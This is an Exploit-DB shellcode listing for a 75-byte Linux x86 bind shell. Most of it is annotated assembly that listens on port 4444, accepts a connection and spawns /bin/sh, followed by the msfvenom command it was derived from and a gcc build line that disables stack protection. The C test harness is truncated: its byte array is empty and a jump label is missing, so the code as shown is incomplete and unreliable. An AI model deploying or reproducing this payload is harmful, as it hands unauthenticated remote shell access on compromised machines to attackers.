Linux/x86 - Bind Shell Shellcode (75 bytes)

EDB-ID: 42254
Author: wetw0rk
Published: 2017-06-26
Type: Shellcode
Platform: Lin_x86
Shellcode: Download Shellcode Code Download / View Raw

Architecture : x86
OS : Linux
Author : wetw0rk
ID : SLAE-958
Shellcode Size : 75 bytes
Bind Port : 4444
Description : A linux/x86 bind shell via /bin/sh. Created by analysing msfvenom;
original payload was 78 bytes and contained 1 NULL. My shellcode
is 75 and contains 0 NULLS ;).

Original Metasploit Shellcode:
sudo msfvenom -p linux/x86/shell_bind_tcp -b "\x00" -f c --smallest -i 0

Test using:
gcc -fno-stack-protector -z execstack tshell.c


global _start

; int socketcall(int call, unsigned long *args) remember to place backwards!
push 102 ; syscall for socketcall() 102
pop eax ; POP 102 into EAX
cdq ; EDX = 0 (saves space)
push ebx ; PUSH EBX(0) onto stack (IPPROTO_IP = 0)
inc ebx ; INC-rement EBX by 1
push ebx ; PUSH EBX(1) onto stack (SOCK_STREAM = 1)
push 2 ; PUSH 2 onto stack (AF_INET = 2)
mov ecx,esp ; top of stack contains our arguments save address in ECX
int 80h ; call that kernel!!

; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
pop ebx ; POP stack(2 = SYS_BIND = bind()) into EBX
pop esi ; POP stack(1) into ESI we dont need it
push edx ; PUSH EDX(0) onto the stack (INADDR_ANY = 0)
push word 0x5c11 ; PUSH 0x5c11 onto the stack (PORT:4444)
push edx ; PUSH 00 onto the stack
push byte 0x02 ; PUSH 02 onto the stack (AF_INET = 2)
push 16 ; PUSH 16 onto the stack (ADDRLEN = 16)
push ecx ; PUSH ECX(struct pointer) onto the stack
push eax ; PUSH EAX(socket file descriptor) onto stack
mov ecx,esp ; top of stack contains our argument array save it in ECX
mov al,102 ; syscall for socketcall() 102
int 80h ; call that kernel!!

; int listen(int sockfd, int backlog)
mov [ecx+4],eax ; zero out [ECX+4]
mov bl,4 ; MOV (4 = SYS_LISTEN = listen()) into BL
mov al,102 ; make syscall for socketcall()
int 80h ; call the kernel!!

; accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
inc ebx ; EBX(5) = SYS_ACCEPT = accept()
mov al,102 ; make syscall for socketcall()
int 80h ; call the kernel!!

xchg eax,ebx ; Put socket descriptor in EBX and 0x5 in EAX
pop ecx ; POP 3 into ECX for counter

; int dup2(int oldfd, int newfd)
mov al,63 ; syscall for dup2()
int 80h ; call the kernel!!
dec ecx ; count down to zero
jns loop ; If SF not set, ECX not negative so continue looping

; int execve(const char *filename, char *const argv[], char *const envp[])
push dword 0x68732f2f ; PUSH hs// onto stack
push dword 0x6e69622f ; PUSH nib/ onto stack
mov ebx,esp ; put the address of "/bin//sh" into EBX via ESP
push eax ; PUSH nulls for string termination
mov ecx,esp ; store argv array into ECX via the stack or ESP
mov al,11 ; make execve() syscall or 11
int 80h ; call then kernel!!


#include <stdio.h>
#include <string.h>

unsigned char code[]= \

int main()
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;

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